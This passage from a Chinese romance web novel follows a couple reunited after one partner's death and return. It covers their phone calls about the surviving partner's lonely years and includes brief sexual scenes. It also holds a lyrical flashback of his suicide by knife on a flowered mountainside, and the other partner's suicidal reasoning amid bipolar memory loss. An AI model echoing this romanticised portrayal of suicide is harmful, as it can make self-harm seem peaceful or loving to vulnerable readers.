季一南想到,婚礼那天,除了送戒指时喻修景流了眼泪,之后就是看到小熊玩偶的时候。 大概在自己出现的第一秒,喻修景就认出了他。但有一刻,尽管他们隔着很厚的衣服,季一南仍然相信,喻修景和自己一样,都希望这玩偶服里的人不是季一南,是李不凡。 “我还带他去看了你出事的海湾,你离开以后我很少和别人说到你,根本不敢提。小景是我们的好朋友,除了能和陌生人说,我也就只能和他讲讲了。”季一南捏了捏李不凡的手指,垂下眼,不知道从哪里拿出两枚戒指,把其中一枚套进了李不凡指根。 戒圈大小合适,虽然没有什么装饰,但很漂亮。 “我知道你这次可能不会走了,就算要走,大概也会给我一个明确的答复,但是我还是会怕,所以才那么极端地把你关起来。我能看出来,你其实不怕我这样,你也知道我迟早有一天会让你走的,我只是像个傻子一样,自己过把瘾。”季一南说。 另一枚戒指还在他掌心里,李不凡拿过来,也给季一南戴上。 “哪里傻了?别总这么说自己,为自己喜欢的人做点傻事不叫傻,我就不信我没为你做过。等我都想起来,慢慢和你聊。” 他看向季一南,觉得有些话还是应该说得更清楚。 “季一南,虽然我在海下是想起了一些,但都只是片段而已。我会愿意来这里和你领这张纸,完全是因为……” 季一南靠过来,没等李不凡把话说完,便堵住了他的唇。 舌尖先碰李不凡的两颗小猫牙齿,再舔吻他的嘴唇。 季一南好像能猜到他要说什么,很快就空出一段距离。 “和过去的我,未来的我都无关,是因为此时此刻的我……喜欢你,”李不凡看着他的眼睛,笑了,“为你冲动一次,也没什么大不了的。所以我说,为自己喜欢的人做点傻事,不叫傻。” 不知道究竟是李不凡的哪一番话说服了季一南,离开教堂之后,他买了回云南的机票。 离开那天,李不凡到机场送季一南。 他刚刚约好一次治疗,还把预约的记录给季一南看,他是早上的第一个病人。 “季一南,你经常跟我聊天好不好?有时候我可能在忙没有立刻回,但后面都会一条一条看的。”李不凡说。 虽然今天是新的全新的一天,季一南还是一副没有完全适应过来的样子,恍惚地回答了好。 直到一个人过了安检,身边没有李不凡,他又像很多年前那样独自发呆时,才慢慢反应过来他和李不凡已经结婚了,不再是漂泊不定的关系。 然后手机响了,打来电话的是李不凡。 “我要掉头走了,落地以后记得告诉我。” “哦……好,”季一南缓慢地问,“掉头走了,是去哪里?” 电话那头安静了一阵,季一南又以为是自己的梦,正想把手机拿开,确认电话是否还在接通,李不凡忽然说话了:“去有你的那里。” 一句话让季一南醒过来,他只想让氛围轻松一点,于是说:“那你省机票了,我在你身边呢。” 跨国电话费的确超出季一南预期,但他仍然坚持使用通话这种相对原始的方式,拒绝用微信打语音。因为网络多少会有卡顿的时候,但切换成电话就变得流畅许多。 季一南说今晚宋朗白和小柳都到他的宿舍来吃饭,他做了六七个菜,还叫了小七。 “我喝了一点酒,但没醉。” 夜已深了,季一南坐在阳台上,抽着烟和李不凡讲这通电话。 “我中途退出,他们没和我发脾气已经很好了,”李不凡声音很低,“季一南,你能不能和我说说你之后的生活呢?我还挺好奇的。” 他笑笑:“好奇你一个人的时候会怎么过。” “嗯……”季一南轻轻说,“我不是说过了么,我的生活很普通,没什么好聊的。” “我才不信,”李不凡问,“……你三十岁生日的时候,庆祝了没有。” 好像三十岁是很久之前了,季一南想了片刻,才说:“庆祝了。” 是小七给他过的生日。 “小七买了一个很小的蛋糕,他当时可能知道我心情还不是很好,所以没有叫别人,那天晚上就我们两个。我还和他说,以前和你一起过生日的时候,你也爱买小的蛋糕。” 比起三十岁,对季一南来说,更有印象的是自己的二十六岁生日。 李不凡的生日在夏天,他的生日在冬天。 那一年生日,恰好遇到李不凡的躁期。早晨季一南还在睡梦里,好像忽然吃到了很甜的果冻,又滑又软,迷迷糊糊醒来时,觉得身上很沉,下意识用手去扶,又听到李不凡很轻的喘气声。 他明白过来,试探地动了动,大腿托着李不凡朝上顶了下,一个翻身压过他,手肘挡在李不凡头发的一侧,很认真地亲吻他。 “送你的第一个生日礼物……”李不凡笑着说。 但其实那天他们还早早订好了曼拉山徒步的行程。出发的时候天气有些差,不过威斯林顿本就喜欢下雨,两个人都觉得没什么。 “我当时不该听你的,你在躁期,当然想出去玩。”季一南说。 李不凡问:“后来呢?我想听听这件事是怎么怪到我头上的。” 季一南就笑。 到海拔两千米左右的徒步起点时,雨已经下得很大了。两个人把车开进附近的营地,被迫坐在车里看雨。 不知为何,李不凡显得有些焦躁,季一南还以为是计划被破坏,牵着他的手说没事。 “但你当时表情特别严肃,说有事,我就以为真的有什么很重要的事,”季一南说,“我们在车里等了好久,甚至连带来的午餐也吃了,雨还是没有停。” 眼看今天彻底泡汤,季一南就想干脆和李不凡回市区,说不定还能吃上一顿烛光晚餐。 季一南越过中控拉了下李不凡的手,问他:“回去吗?” 可能是午后有些疲倦,李不凡懒懒地靠过来,贴住了季一南的额头:“睡一会儿再回去。” 季一南抓住他过来推自己上衣的手,好笑地问:“你说的是哪个睡啊?” “都可以。”李不凡抓住季一南的衣领,被他握着腰抱到自己身上。 只论做a,他们不需要说什么话,就有很强的默契。李不凡的手撑着座椅的靠背,一直微微垂着头,汗水从脸上滑下来,滴到季一南的脖子里。 车里的暖气刚刚关掉,虽然窗外是雨天,但车内还是很闷。李不凡被按着腰,小幅度地动。 后来实在很热,季一南帮他脱掉外套搭在身上,抽纸给他擦干净了小腹,让他靠着自己睡了。 李不凡什么时候走的,季一南并不知道。他睡得很熟,醒来时,身上的人已经不见了。 雨还是没停,把车窗浇得格外模糊,天色也有些暗了,季一南下意识去找手机,却见一团黑影靠近了车。 有人敲了敲窗,凑近了,季一南才看清那人是穿着雨衣的李不凡。 他按下车窗,李不凡帽檐上的雨珠就滴下来,落在他手背,冰凉。 “我去给你找花了。”李不凡笑着,整张脸都湿了,却举了举手里一大束嫩黄色的雏菊。 他的眼睛比雨水还要清澈,手里的花更不像是花,像季一南等了很久的太阳。 “我就记得那束花,很漂亮,”季一南说,“你经常给我带花的。” 下雨都带。 在电话的那一边,李不凡沉默了片刻,才说:“以后也会记得。” 他又问:“那……你三十岁生日那天,除了和小七一起吃饭,还做什么了吗?” 一根烟没怎么抽就燃完了,季一南垂着眼,看烟灰掉下来,“那天啊……我突然想到你以前送我的那束花,很想找到相同的,就开车出去。” “季一南你知道吗?”李不凡声音很低,“我现在开始有点害怕了。” “怕什么?”季一南问。 李不凡说:“我怕现在的我会没有以前那么喜欢你,都过了一辈子了,我要是我没有那么喜欢你,是不是就抓不住你了。” “不会的……现在就很好了,”季一南感到自己有些醉了,“你在我身边就很好了。” 我也不是没有想过,如果这辈子我们没有在一起,那也是很正常的事。 第54章 三十岁生日的那个晚上,季一南很难得地和小七聊了几句李不凡的事情。 那可以说是季一南第一次开口讲到他,起因是小七在做菜时不小心加了香菜。 厨房里热气蒸腾,小七放完香菜,才想起季一南不爱吃,转身和季一南说:“一哥,不好意思啊,我没注意加香菜了,等会儿给你挑出来。” 季一南走进来,把小七盛在桌上的菜拿起来,才说:“其实我不挑,挑的不是我。” 小七愣了会儿,才反应过来季一南可能说的是谁。 两个人坐到阳台上吃晚饭,小七听季一南提了那么一句,才试探地开口:“哥你最近睡得怎么样?天冷了,我们这儿晚上开暖气,有时候闷得很,还没有夏天开空调好睡。” 小七和季一南一个办公室,有时候季一南早上四五点就来工作了,问也只说睡不着。 “最近还行,就是有点干。”季一南听小七提到这个,就忍不住想到,其实李不凡最喜欢的就是冬天。他喜欢被拥抱,喜欢两个人窝在一起的感觉…… 思绪开了个头就止不住,季一南突然很想很想见李不凡,连饭也没心情吃下去。 等小七一走,他拿钥匙,开了很久的车,到很远的山上。 不知道是什么时候养成的习惯,每次想到李不凡,季一南就想去没什么人的地方坐坐。可能是因为李不凡也喜欢待在山里,他现在也这样。 至于要找花,其实是后来想到的。 他在黑夜中开了很久,到路边停了一会儿,车内就冷了下来。 季一南扶着方向盘,从车窗朝外看,什么也看不见,他点了一根烟,只抽了两口,开始无止境地拨打李不凡的电话。 在办理死亡证明以后,他没有去注销这个号码,起初也只是想给自己留下一点关于李不凡的东西,还以为自己会常常给这个号码发信息,但李不凡真的走了,他才发现自己其实清醒得可怕。 哪怕偶有做梦,只要稍有苏醒,也会立刻认清现实——李不凡不在了。 打过去的电话自然无人接听,好在季一南有及时缴纳话费的习惯,才让每拨打过去的一次通话,都可以撑得久一点。 寂静的夜晚,关闭的车窗内似乎连虫鸣声也听不见,只剩下电流声在不断重复,让季一南联想到很多等待。 可他等不下去了,烟抽得都有点醉了,想说话又开不了口,干脆跌跌撞撞下了车。两束车灯照亮一片草地,季一南往地上一坐,听到身旁草木窜动的声音。 他偏过脸,看见一只抱着松果的灰色小松鼠,正两条腿站在地上,好奇地盯着他。 季一南是一个人,小松鼠也只是一只松鼠。 怕打扰这里最后一个陪着他的动物,季一南没动,微微侧着头,就这么发呆片刻,才注意到那小松鼠脚旁有一簇花。 于是他想起那个下了雨的、被打乱计划的生日,想起李不凡雨中的眼睛和手里的花,不知道他是不是也和自己一样,是这样猝不及防地看到一份礼物。 本来心情很糟的,季一南又出了口气,双手撑着草地,望满是星星的天空。 还好……现在好一点了。 他像是又收到了李不凡送的礼物,一份很遥远的、也不知道如果现在李不凡还活着,他还愿不愿意送的礼物。 好惨呐。 季一南揉了揉眼睛。 最爱的人走之前都没告诉他,是不是真的不爱他了。 如果不是,为什么又要一走了之。 他的病情到底怎么样了,甚至……从山上滑下去,真的是意外吗。 没有人可以告诉季一南答案了,也或许本来就没什么答案可言。 活着吧…… 自己就这样活着好了。 季一南在山坡上躺了很久。坦白来说,冬天的香格里拉真是冷得可怕,他回去就生病了。 不过没有病上多久,最多也就两个星期。 季一南又看起来完好无损了,除了那头白发,一直也找不到什么原因。 “生日那天我去爬山了,晚上,”季一南说得很轻松,“在山里很好玩,虽然我是一个人去的,但还算开心吧,我喜欢没人打扰的时间。” 李不凡听了,没说话,后来他身边有人叫他,应该是护士,李不凡才开口:“到我了。” “好,结束跟我说一声。”季一南说。 “今年你不用一个人过生日了。” 李不凡留下这么一句,就挂了电话。 香格里拉的春天和其他地方不太一样,哪怕到了气温应该回暖的季节,这边也还很冷。 每天最暖和的时候,就是季一南窝在被子里和李不凡打电话的时候。 他很难反应过来是从哪天起,房间里已经不用再开空调,光是每天午后的太阳,就足够把房间晒得滚烫。 “你看小羊。”季一南把镜头翻转,压低声音学羊群咩了几声。 山坡成片成片地绿了,在傍晚的光线下反而显得枯黄,正在吃草的小羊们奇怪地顿住,都朝季一南望过来,过了片刻,才确定地回复道:“咩——” 李不凡在手机的那一头笑,他那边是晚上,房间里就开了一盏落地灯,不是很亮。 “你说它们是不是听得懂你讲话啊?你是不是歪打正着和它们说什么了。” 李不凡是半夜醒的,醒了睡不着,给季一南发了条信息,没想到他正好回了。 季一南的电话打来时,他刚从被窝里坐起来,嗓子粘乎乎的,有点哑。 “季一南,想我没?” 季一南抿抿唇,把镜头对准自己,却说:“你问小羊。” “我问小羊那你倒是给我看看羊啊。”李不凡失笑。 “不行,”季一南又否认,“还是看我吧。” 李不凡说:“怎么这么不讲道理。” “跟你讲不了。”季一南承认。 他笑了声,不知道是无奈还是什么,说:“最后悔的就是当年太跟你讲道理。” “那你继续说说呗,三十岁以后呢?你又做了什么事。”李不凡调了调靠枕,让自己躺得更舒服一点。 “三十五岁……有一点可以和你聊的,”季一南说,“那年我拿到了一个奖,是专门颁发给年轻学者的。 “领完奖,我很高兴。” 因为有同事庆祝,那天晚上季一南喝醉了,把奖杯抱着塞在羽绒服里,找了个司机带他去央娜雪山。 那时还是冬天,花没有开,草地光秃秃的。 奖杯被他捂得热乎乎的,季一南打开羽绒服,把那奖杯掏出来,醉醺醺地笑着,和这片空地说:“李不凡,你看……这奖挺难拿的,说是我得奖的时候,我还不敢相信,不过要是你在,你肯定说,这奖就该我拿。” 他跌坐在草地里,抱着那硬邦邦的奖杯,像抱着李不凡。 “嗯……最近其实还挺开心的,”季一南说了个开头,怔了一会儿,又继续讲,“有同事结婚了,都已经算得上晚婚,我去参加了婚礼,本来他还让我当伴郎,但是有对象的人最好不要做伴郎吧?我不知道有没有这个规矩。” 说完又停了一会儿,自己也说不出自己在想什么,喝了酒,他脑子乱乱的,去想和李不凡在一起的时间里最珍惜的几个片段,好像也觉得有点模糊了。 他很害怕这种感觉,于是又克制住了想念,意识到手有些麻了,才把奖杯松开一点。 “不凡,要是你在就好了……” 他又哭了。 不行,别掉那么多眼泪,李不凡可能看着呢。 再说了,他都三十五岁了。 那李不凡呢,现在多大了。 季一南在想,就忘了掉眼泪。 六岁……可能六岁了吧。 也许这辈子他会有很好的爸爸妈妈,会有自己也满意的恋人…… 不能再想了。 季一南吸了吸鼻子,又把奖杯珍惜地抱起来,放进拉链半开的怀里。 他跌跌撞撞站起来,沿着山路走啊走啊,忽然天上下雪了。 走得双脚都有些麻木,眼前才出现一点亮光,太冷了,太冷了……偏偏走着走着又全身都热了起来,还出了一点汗。看见那光,季一南还以为自己在情人大桥上,还以为前面有个喜欢的人捧着花等他呢。 对了,博士毕业典礼,李不凡说情人大桥,到底是想做什么呢。 后来解释说是要打分手电话,不信,怎么会有人专门跑到桥上去打电话,何况他当时还说自己已经回国了。 都是假的,骗我,为了离开我。 季一南想着想着,居然短暂地恨起李不凡来。 就留下他一个人,是觉得他一个人会过得很好吗……什么都不告诉他,从高中开始就是这样……怎么这么喜欢自己扛,要他怎么办。 虽然走得很慢,但季一南还是走到“情人大桥”了。 上桥的时候他眼睛被猛地一刺,天旋地转几分钟,手碰到了旅馆的墙壁。 季一南推开门,热气灌入衣服,他听到老板问:“住酒店吗?” 原来不是在情人大桥,季一南说住,不然除了这里他也无处可去,顺手就把奖杯拿出来,往前台一摆。 “这个够吗?” 老板和季一南年纪差不多,看出他喝醉了,笑着哟了声,说:“我们这儿可收不起这个。” 后来季一南还是付了钱,但直到躺上床,这段他都没什么印象了。 “晚上我和同事们一起吃饭,大家都庆祝我得奖,酒不好不喝。后来醉了,我一个人坐车去央娜雪山,想把奖杯给你看看。”季一南说。 李不凡沉默一会儿,才问:“你当时……把我葬在那边吗?” “那里格桑花很美,而且你也喜欢那里的星星,虽然……” “虽然我没有见过。” 季一南怔了怔,“你记起一些了。” “季一南,回来我们就一起去央娜雪山。不过如果是夏天,还能看见日照金山吗?”李不凡问。 微风吹动季一南的头发,他看向镜头,说:“看不到的话,多等一会儿就好了,这次我们有很多时间。” 因为有时差的存在,很多次李不凡给季一南打电话时,他都还在山里。 季一南把手机放在一旁,让李不凡可以看着自己做事。 “有两年时间我都在带学生,本地的一所大学邀请我去做教授,平常没什么太多的事,就是希望我能带学生,”季一南拿着一把小铲子,把一朵蘑菇从湿润的土壤里慢慢挖出来,“我总是想到我们读书时,我看到学生们会想到你,但一看镜子,自己居然已经这么大了,但你还是我记忆里的样子。” 季一南把那朵蘑菇在镜头前转了转,那蘑菇是青色的,顶上像裂开了,季一南说:“看,这是青头菌。” “能吃吗?”李不凡坐在小阳台上。 “能,等你回来做给你尝尝。”季一南又低下头,去挖另外一朵。 “我当时就觉得,有件事我意识得太晚了,”季一南语气还好,只是垂着头,没看李不凡,“其实人不是只有老了才会死,人随时会死。” “我前天去了情人大桥,”李不凡说,“去看日落了,很漂亮,和在云南看到的不一样。” 季一南手上一顿。 “我还去附近找冰淇淋店,没想到它还在。” “还在吗?”季一南抬起脸。 “在,不过我去的时候,看到老板挂了出售的牌子,如果卖不掉,可能就要关掉了。” 季一南这时才想到,他们回到的是李不凡去世后几个月的时间线,这时冰淇淋店的确还在。 那上次去……他竟然都忘记了。 李不凡拉了拉盖在身上的毯子,他微微靠着椅背,身边有微小的车流声,夜色中那铺开的淡黄色的街灯,将他的表情衬得格外温柔。 “季一南,我把冰淇淋上的绳子系在你手指上的时候,我是真的想,如果那是一枚戒指就好了。” 第55章 “轮胎不行了,再开可能会爆胎。”季一南摘下手套,抹了一把额头上的汗水。 日头正烈,他转身,朝小七喊:“拿两瓶水过来。” 焦急的游客站在车边,又难以置信地蹲下去看了看。 “你要去哪里?”季一南接过小七递来的水,拧开一瓶喝了一口,用剩下的倒着洗了洗手。 小七又把另一瓶递给游客。 “央娜。”游客说。 “那跟我们一起吧,坐我们的车,你先打电话找人来拖车。”季一南说。 走到车边,小七进了驾驶座,季一南拉开副驾驶的车门,也坐进去。 后排还有宋朗白和小柳,也是去央娜雪山的,游客坐在最边上。 “幸好遇到你们了,我刚才人都是懵的。”游客看起来也就二十岁出头的样子。 宋朗白笑笑,和他说:“这段路很难开的,你敢自己一个人来,也是很有胆量了。” 游客尴尬地摇摇头。 车开出去没几公里,路被一群牦牛堵住了。黑色的牛群慢悠悠地在道路上散步,有几只脖子上挂着铃铛,它们轻轻一动,铃铛就响。 季一南放慢车速,等牛群全部离开,才重新踩了油门。 到酒店时已经是中午,游客道谢后就走了,季一南带着其他人去他熟悉的餐馆吃饭。 宋朗白和小柳下午要去拍东西,小七则是来雪山旁的研究所送材料。 季一南还要上山采集土壤,走了二十分钟山路,到熟悉的阿嬷家,找她借一匹马。 “一南啊,”阿嬷叫他,“我们家小马驹这两天不见了,你正好上山,能帮我找找吗?” “长什么样子?”季一南牵着缰绳,靠在马厩边的木栅栏上,去看阿嬷的手机。 “它妈妈难产死了,一直都是自己出去吃草的,这两天不知道怎么了没回家,我和你阿公都去找了几轮了,”阿嬷把照片放大,“你看,我们在它脖子上系了一条自己编的彩色的绳子。” 手机上是一只白色的小马驹,只有两只眼睛的位置有棕色的斑块。 季一南用自己的手机照了一张,和阿嬷说:“您放心吧,我一定帮您留意。” “好嘞,”阿嬷挥挥手,“注意安全。” 季一南骑马上了山,之前遇见的牛群恰好在草地里吃草。 他绕着央娜雪山下的碧琼海走了一圈,在几个固定的坐标对土壤进行取样。一路上牛羊看见很多,倒是没见到有马。 傍晚时,取样已经完成。季一南把马牵到溪边的树荫下,看着它喝水吃草。 气温慢慢变低了,季一南一直动着,所以只穿了件短袖也不冷。他沿着溪边走,弯腰在冰凉的小溪里掬起一捧水,洗了把脸。 抬头时,他忽然瞥见溪水边泥泞里的几只脚印,像是小马留下的。 季一南回身把自己骑过来的马套在溪边的树上,沿着那脚印朝溪水的上游走。 这时口袋里的电话响了,打来的人是李不凡。 屏幕那边有车的声音,李不凡问:“在干嘛呢?” “央娜雪山上,找马。”季一南喘着气说。 “啊?”李不凡顿了下,“走丢了吗?” 季一南盯着脚下,那脚印渐渐朝着溪水外走,很快消失在了岸边的草丛里。 “嗯,我看到一串脚印,不知道是不是它的,阿嬷说是匹小马。” 天边的夕阳触碰到央娜雪山的边缘,很快要落下。季一南便问:“要换成视频吗?我这边挺漂亮的。” 李不凡不知道在干什么,说不用:“开视频太分心了,你注意安全。” 季一南说好。 他朝四周看了一圈,抬脚走向旁边的小树林。 “我发现你好像还没有特别跟我讲过,你回到这个世界的那天,原本在做什么?”李不凡问。 到凌晨四点也没有睡着,上午去看了心理医生。 但季一南没有说。 “那天是你生日,是香格里拉最热的一天,”季一南说,“除此之外没有什么特别的。” 离开诊所,季一南在街边的蛋糕店领走了提前订好的蛋糕。 “是你会喜欢的水果蛋糕,你以前就喜欢这种酸酸甜甜的口味。我带着蛋糕,开车到央娜雪山来,在路上遇到了一群羊。” 季一南把车停在路边,拎着那只蛋糕,和羊群一起缓慢地走到山坡上。 格桑花开得很美,微风中摇曳,季一南在草地坐下来,仔细地拆开了蛋糕。 他买的是最小的尺寸,大约一个巴掌那么大。在蛋糕店的玻璃柜里,季一南觉得这只是很小的一只,等拿出来,才发现似乎也太大了。 在几个数字蜡烛中间挑挑选选,季一南干脆只插了单独的一根,用随身的打火机点燃。 小羊慢悠悠地走到季一南身侧,埋头咀嚼地上的青草。季一南坐在草地里,只是看着那一点烛光发呆。 在他的印象里,那其实是很漫长的一天,因为他独自待了很久。 坦白来说,关于李不凡的部分,季一南没有想得太多。 因为关于故事中最值得回味的细节,季一南已经记得没有从前那么清楚了。 都……十年了。 十年。 有些事模糊了,有些事又好像还在昨天。 季一南好像还站在酒店的那条走廊里,自以为是,又呆呆傻傻的。那伸入窗户的树枝摇晃着,树叶绿了又黄,黄了又绿,央娜雪山的月照银山出现了无数次,情人大桥上的情人锁挂了一只又一只,他还是没等到李不凡回来。 “我坐在那里等蜡烛燃尽了,才尝了很少一块,”季一南说,“爱吃蛋糕的是你。” 他还没走到树林,只在半山腰上侧过脸,迎面便是高耸的央娜雪山。 如同那一天的那个时刻。 蜡烛燃尽了,天边的太阳也完全落下,被雪山遮挡。 羊群不知何时走得有些远了,浅紫色的光穿透深蓝的天空,只是抬眼的顷刻,星空和寂静便排山倒海地压过来。 沮丧来得十分突然,背包里有一瓶水,一捆登山绳,一块指南针,一些简单的应急药物,和一把锋利的短刀。 季一南很难说清,那一瞬间他是否有过认真理智的思考,也可能确实也是觉得无所谓。 他握住了刀。 “草地很柔软,也可能是因为格桑花开了,”季一南声音很轻,“我躺了下来。” 火红的花瓣在脸侧摇曳,他没有觉得痛,只是觉得有点痒。 天空很美,所以在威斯林顿的最后一夜,李不凡想要和季一南一起去看央娜雪山,也是人之常情。 眼前慢慢变得模糊,星星仿佛一颗一颗连在了一起,变成闪烁的星河。 “我那时特别喜欢一个人在山里待着,只要有一点不开心,我就去看看山,看看水。我很容易被这些景色震撼,我用这种震撼提醒自己,其实这个世界上还有值得我留恋的东西。” 死亡是短暂的,过去不论再长,只要过去了,也是短暂的。 只有失去最漫长,长得让他虚无,让他忍过无数痛楚,连平静都学会了。 意识到这一点,季一南感到自己的灵魂也被震动。 他似乎真的应该去面对,那唯一一个能够让此刻的自己忘记虚无的时刻。 “我还看到了你。” 天色晚了,傍晚的光线在溪水对岸收束,央娜雪山安静屹立在身畔。在相似的景色下,时空微妙地重叠。 “我看到你走过来,手里拿着一只真正的戒指,你说……互相为对方戴上戒指,就不可以分开了。” 热泪顺着眼角滚落在格桑花的花丛中,好在这大概是自己最后一次掉眼泪,好在天地空旷,不会再有人知道。 花开了又败,败了又开,他看不见明年的央娜雪山了。 只是彻底沉睡以后,会是什么感觉呢? 从前他就好奇,那好奇之中,又不免藏着一些不可避免地害怕。 但如果身下就是李不凡在的地方,他又不怕了。反正生活原本就是周而复始的一天,一天又一天的,他觉得已经没什么意义了。 雪山的影子几乎和天空融为一体,季一南的脑子转得很慢。 一辈子到了最后,身边竟然空无一人,他孤独得好奇怪。 是从什么时候开始,连这山这水也不爱看了。 于是最后一眼,季一南留给由无数记忆中的片刻杜撰出的一瞬,是李不凡踏着满地鲜花,来兑现那年在情人大桥上没有完成的承诺。 季一南笑了,抬手,想要拥抱,在快要触碰到的那一刻,李不凡的身体化作漫天深红的花瓣,随央娜雪山的风,吹遍了整片他曾热爱的土地。 ——他也彻底闭上眼。 “我好像不是这样说的,”李不凡的声音在电话的那一端,夹杂着微小的电流声,“我应该是想说……” 季一南听见了小羊的叫声,还有风声,他回过头。 在山坡的另一侧,有人踩着夕阳最后的光线赶来。 “我们在你的学校门口买一个小房子吧。 “一起去登记结婚怎么样?” 季一南怔怔地看着那道走至眼前的身影,李不凡的声音不再失真。 “还有……毕业快乐,我很爱你。” “这是我原本要在情人大桥上和你说的话,我还准备了戒指,但现在找不到了。”李不凡说。 第56章 “季一南,你是个骗子,什么都不告诉我,就不怕这辈子我不喜欢你了?” 李不凡盯着他,季一南没马上说话,但李不凡盯着盯着,眼眶就湿了,偏了下头才好一点。 “风……风很大,吹我眼睛。” “我知道。”季一南抬起手,替他擦了擦脸。 夜风有点凉了,却吹得李不凡的眼圈红起来。 “我明明对你很差……你怎么都不怪我?” 好几个月没见,他居然有些手足无措,又说了那么煽情的话,好像忽然不太习惯,说完就垂下头。 “从古城开到央娜雪山很远,”李不凡用手腕揉了下眼,“其实我很早就到了。” “不是说让我去接你吗?怎么没有告诉我。”季一南看着他,掌心搓了搓他后颈。 这边车没办法开上来,李不凡大概走了一路,身上还出汗了。 “惊喜,”李不凡吸了下鼻子,把季一南的手从自己脸上拉下来,就那么牵着,“走吧,先去找小马。” 季一南的视线没从他身上剥下来,被李不凡拉着,也还是盯着他背影。 天色暗了,进了树林,李不凡才转头问季一南:“哥,你带手电……” 话没说完,他被季一南推到一旁的树干上,后背被粗糙的树皮擦得痛了下,紧接着嘴唇被季一南吻住。李不凡下意识抬脸去迎,鼻尖抵在季一南脸颊,连呼吸都被吞噬了。 季一南吻得很凶,湿热的舌尖撬开李不凡的口腔,舔舐着,把他的空气一并带走了。 “有段时间没见了……”季一南哑着嗓子,有一下没一下地啄吻他,“都怕你回来,要是想到什么我以前的不好,就不要我了。” 热烈的氛围忽然变得安静,多了几丝缱绻。李不凡用鼻尖顶了顶季一南的鼻尖,他喉头还酸着,估计也只能说出一些酸话来:“我还想不明白你为什么会喜欢我呢……你说你很后悔和我说的最后那句话,原来就只是说我……” 季一南又吻下来,咬着李不凡的舌尖,舔过他的小猫牙,让他把那句话又咽回去了。 “别提了,这辈子下辈子那都是我说过最后悔的话。”季一南轻声说。 月光下,李不凡抬起眼。他看向季一南的眼睛,好近,好近。 哪怕在他们还很陌生时,李不凡也爱看季一南的眼睛,他那时不会看得这样明显,更多只是很轻的一瞥。但只要他的视线扫过,就总能碰上季一南的眼神。 他也在看自己。用那种温水一样的、很深,又很复杂的神色。 以前李不凡不懂,不知道季一南在想什么,还以为他的眼睛是天生的,看谁都一样,后来才知道季一南从一而终,绝不滥情。 “我是不如一只小猫,我什么都不告诉你,我以为那是为了你好,”李不凡很苦地抬了下唇角,“但是好像不是的。” 季一南摇摇头,抚摸着他的耳朵。 李不凡抓住他的手腕,侧过头很轻地吻了下,才说:“季一南,可能我以前真的做了很多对你不好的事,是我没有考虑妥当。我当时生病了,想法非常极端,觉得死了还是活着根本无所谓,因为你在我才想多坚持一会儿。 “但我没有做到,对不起。可是你不要再自责了,所有人里你对我最好,”李不凡吸了口气,“我当时也很无助,才会选择这么不好的办法。我那时已经开始失忆了,什么都记不住,本来打算在情人大桥上问你,要不要以后我们就这样生活在一起,纠结了很久还是放弃了……” 心脏像被劈开一道口子,季一南懵了,几乎反应不过来李不凡的话。 他声音有些抖,问:“你说什么……?” “我去威斯林顿做学术论坛的现场摄影,是因为其中有一场是研究双相给大脑带来的病变的。 “我去世之前,我们能在香格里拉见到最后一面,是因为我看到一篇你们研究所的报道,知道你回国了。我想见你,又觉得自己没资格,本来只想偷偷看,没想到会在餐馆跟你偶遇。之前我们在研究所里看到的那幅标有我名字的格桑花标本也可以证明,我来过香格里拉很多次,因为你。 “你说……小猫那个,我本来都想放弃自己了,但是看你过得那么差,意识到事情和我想的不一样,我本来以为你伤心一段时间就会好了。所以我后来想要去做手术,手术之前我去爬山,偶遇了那队做科研的人,我能理解他们一定想取到样,我就想,如果是你在工作时遇到这样的情况,我也希望有人能像我一样帮你,所以我去了,但我没想到会出意外。” 李不凡靠上前,抱住了季一南,如同一只飞了很久,很累的鸟。 发现自己开始失忆,由于一个普通的契机。 起初李不凡只是忘记一些小事。频繁地丢失东西,偶尔遗忘一些片段,以为错过了很多别人说过的话、做过的事……某次甚至弄错出差的时间,匆匆忙忙赶到机场值机,才被告知订的航班下周起飞。 离开机场时下雨了,李不凡感到有些恍惚,终于从这段时间频繁的异常里,察觉出身体的问题。 走时太仓促,他连伞也没有带一把,想回到机场内打车,又遇到背着一篓玫瑰花的阿婆,缓慢地在桥下行走。 估计是觉得机场外有人送别,才在这里贩卖。李不凡想到现在回家季一南还在,他很怕季一南问他为什么回去,怎么连时间也记错了,他回答不出来,说不出口,就想当自己本来就是出门买玫瑰的好了。 于是他冲进雨里,狼狈地买回一束,拿到手才发现花都快被雨水打蔫儿了。好在季一南见到花时并不介意,也没有对李不凡忘记航班的事情多想什么。 在那之后几天,李不凡去医院对脑部做了一次系统检查。 医生说双相的确有可能导致失忆,他并不是个例,但记忆是否能够恢复、能恢复多少,都是未知数。 初听到这个结果时,李不凡没什么反应,只是非常机械地麻烦医生一定要封存他的档案。而后他强迫自己冷静,用手机的备忘录写下对他而言最重要的一件事:Valentine’s Day, 5pm, Lover’s Bridge. 那时离Valentine’s Day还有一段时间,李不凡的病又平静了很久,他真的以为自己可以给季一南承诺了,想好的要在他博士的毕业典礼当天表白,好像又成为了泡沫。 时至今日,他的整个人生就没有他踏踏实实的时刻,本身也像一片泡沫,飘在空中的时候很高很美很自由,触碰却是一场空。 在医院厕所发呆一上午,又对着镜子练习许多次微笑,李不凡才让自己显得正常一些。 可一面对季一南,他又笑不出来了,只好在电脑面前假装工作。 季一南看他在忙,就在旁边喂他吃很甜的水果,吃得李不凡掉了眼泪,他只好又说:“……我是郁期了。” 侧过身抱着季一南的腰哭。 而真要说是哪一刻,李不凡决定放弃,他如今也能完整回想。 某个普通的、平常的清晨,他躺在床上,醒过来,发现身边躺着的是个陌生人。 他僵硬得不敢动,害怕到压抑着呼吸,观察周围许久。他很清晰地计算了时间,大约是半小时以后,他捏着颈间的项链,才彻底想起来这个人是季一南,是他爱的人。 唯一的好事是季一南没有醒,也没有发现。 原来他真的可能连季一南都忘记,这次是三十分钟,那下次是不是两个小时,两个月,会不会有一天,这个期限变成一辈子…… 他不敢去想,一个什么也记不住的人,真的会是合格的爱人吗?一想到季一南要永远和这样的他在一起,李不凡就产生更极端的念头—— 不如就死掉好了,彻底离开这个世界。 偏偏他想要死的念头从来都不坚定,季一南都不需要和他说什么,不需要抱着他,只需要像从前那样,用那种很在意、很珍惜的眼神看他,他就没办法对自己做那么残忍的事。 因为季一南肯定会伤心的,会难过。 他反复挣扎,一边想如果和季一南分手,时间也许能解决一切,只要等到季一南也记不起谁是李不凡,或者哪怕想到了也不在意的时候就好了,一边又想他舍不得季一南,舍不得这份感情,责怪自己怎么能这样自私呢,居然要季一南照顾他这样的“残废”一辈子。 还是分手吧,他爱季一南,怎么能让他过得不好呢? 